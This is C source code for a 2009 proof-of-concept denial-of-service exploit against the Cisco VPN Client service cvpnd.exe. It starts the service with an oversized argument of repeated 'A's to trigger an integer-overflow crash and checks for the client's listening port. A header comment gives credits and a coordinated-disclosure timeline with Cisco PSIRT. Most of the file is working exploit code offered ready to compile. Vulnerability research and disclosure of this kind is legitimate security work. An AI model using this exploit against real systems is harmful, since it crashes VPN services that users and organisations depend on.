/* 
 * Cisco VPN Client 0day Integer overflow (DOS) Proof Of Concept Code
 *
 * By Alex Hernandez aka alt3kx (c) November 2009
 *
 * This POC is only for test. If an application read a malformed chars 
 * file like this POC, the application will be crashed.
 *
 * We tested this code on:
 *
 * Windows Vista Bussines SP1 Spanish
 * Windows Vista Home Premium  SP1 English
 * Windows 2000 Server English
 * Windows XP Professional SP3
 *
 * Cisco VPN client version 5.0.03.0560
 * Cisco VPN client Version 5.0.04.0300
 * Cisco VPN client Version 5.0.05.0290
 * Cisco VPN client Version 4.8.02.0010
 * 
 * Compiled on VC++ win32
 *  
 * Friends:
 * sirdarckcat, nitr0us, hkm, crypkey, xDAWN, canit0, chr1x
 *
 * TT & DSRT
 * daSh, p4r4n01ds, darkslaker, beto, motis. 
 *
 * Very special credits to:
 *
 * str0ke (milw0rm.com)
 * rathaus (securiteam.com)
 * FX (Phenoelit.de)
 * dSR! (segfault.es)
 * 0dd (0dd.com)
 * 
 * 
 * PH-Neutral 0x7d9, We hope to see u there intruders
 * 
 * ---------------
 * Report Timeline 
 * ---------------
 * 06/03/2009	The vulnerability was discovered.
 * 07/03/2009	Exploit/PoC code was developed (private).
 * 09/03/2009	Cisco PSIRT was notified about the issue.
 * 11/03/2009	Vendor response asking for details of the testing environment.
 * 12/03/2009	Test scenario explained and sent a PDF document with details.
 * 16/03/2009	Developers/PSIRT confirmed the vulnerability.
 * 19/03/2009	New test scenarios around new versions (CISCO VPN client).
 * 23/03/2009	CISCO PSIRT assing an internal tracking PSIRT-0676131279.
 * 23/03/2009	CISCO PSIRT assing an Bug ID-CSCsz49276.
 * 15/04/2009	New Advisory release (private).
 * 16/04/2009	New PSIRT feedback no ETA avaiable.
 * 23/04/2009	The development team working the fix.
 * 01/05/2009	The development team estimated one month to fix.
 * 01/06/2009	New PSIRT feedback, no ETA available.
 * 29/06/2009	The development team estimated one month to fix.
 * 28/07/2009	The development team working on maitenance release.
 * 28/07/2009	The development team estimated one month to fix.
 * 02/09/2009	New vulnerabilities found on CISCO VPN client.
 * 02/09/2009	The development team can not publish the new version 5.0.6.
 * 02/09/2009	The development team working on maitenance release.
 * 02/09/2009	The development team estimated one month to fix.
 * 10/09/2009	The BETA program should be finished by the end of Oct 
 * and the client posted next month.
 * 07/10/2009	The development team estimated one month to fix.
 * 11/11/2009	New PSIRT feedback RNA avaiable.
 * 19/11/2009	The vulnerability goes public and PSIRT is informed.
 * 19/11/2009	Fix and details will available on CISCO Intellishield Alert & Bug Tool kit.
 * 
 * CISCO Fix and Details:
 * 
 * BugToolKit:
 * http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCsz49276
 *
 * Intellishield Alert:
 * http://tools.cisco.com/security/center/viewAlert.x?alertId=19445
 * 
 */
 
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment ( lib, "ws2_32.lib" )
 
int CheckPortUDP( short int nPort )
{
    struct sockaddr_in nSockServer;
 
    WSADATA wsaData;
 
    int lBusy = 0;
    int nSocket;
 
    /* Initialization */
    if( WSAStartup( 0x0101, &wsaData ) == 0 )
    {
        /* Create Socket */
        nSockServer.sin_family      = AF_INET;
        nSockServer.sin_port        = htons( nPort );
        nSockServer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
 
        /* Check UDP Protocol */
        nSocket = socket( AF_INET, SOCK_DGRAM, 0 );
 
        lBusy = ( bind( nSocket, (SOCKADDR FAR *) &nSockServer,
                            sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR );
 
        /* Close Socket if Busy */
        if( lBusy )
            closesocket( nSocket );
 
        /* Close Winsock */
        WSACleanup();
    }
 
    /* Return */
    return( lBusy );
}

int CheckPortTCP( short int nPort )
{
    struct sockaddr_in nSockServer;
 
    WSADATA wsaData;
 
    int lBusy = 0;
    int nSocket;
 
    /* Initialization */
    if( WSAStartup( 0x0101, &wsaData ) == 0 )
    {
        /* Create Socket */
        nSockServer.sin_family      = AF_INET;
        nSockServer.sin_port        = htons( nPort );
        nSockServer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
 
        /* Check TCP Protocol */
        nSocket = socket( AF_INET, SOCK_STREAM, 0 );
 
        lBusy = ( connect( nSocket, (struct sockaddr *) &nSockServer,
                     sizeof( nSockServer ) ) == 0 );
 
        /* Close Socket if Busy */
        if( lBusy )
            closesocket( nSocket );
 
        /* Close Winsock */
        WSACleanup();
    }
 
    /* Return */
    return( lBusy );
}

int main(void)
{

	char szPath[] = "C:\\Program Files\\Cisco Systems\\VPN Client\\cvpnd.exe";
	//uncomment this line for Windows XP Spanish versions
	//char szPath[] = "C:\\Archivos de programa\\Cisco Systems\\VPN Client\\cvpnd.exe";
	char buffer[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	PROCESS_INFORMATION pif;
	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	si.cb = sizeof(si);

	BOOL bRet = CreateProcess(
        szPath,
        buffer,
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &si,
        &pif);
	
	system("cls");
	printf("\n .:: Cisco VPN Client 0day Integer overflow (DoS) Proof Of Concept Code ::.\n");
	printf(" .:: By Alex Hernandez aka alt3kx (c) November 2009 .::\n\n");  

	
	/* Check for TCP Port */
 
    if( CheckPortTCP(62514) )
        printf("[+] Cisco VPN Client TCP port listening\t[OK!]\n");
    else
        printf("[+] Cisco VPN Client TCP Port isn't Busy\t[Wrong!]\n");

    /* Check for UDP Port */
 
    if( CheckPortUDP(62514) )
        printf("[+] Cisco VPN Client UDP port listening\t[OK!]\n");
    else
        printf("[+] Cisco VPN Client UDP Port isn't Busy\t[Wrong!]\n");

	if(bRet == FALSE){MessageBox(HWND_DESKTOP,"Unable to start program check the default PATH Cisco VPN Client cvpnd.exe\n","",MB_OK);
    return 1;}

	else if (bRet == TRUE){MessageBox(HWND_DESKTOP,"Attempting exploit Cisco VPN DoS exploit...","",MB_OK);
		printf("\n[+] Few seconds to crash the program...\n");
		printf("[+] Exploit success...\n\n");
	return 1;} 

    CloseHandle(pif.hProcess);
    CloseHandle(pif.hThread);

}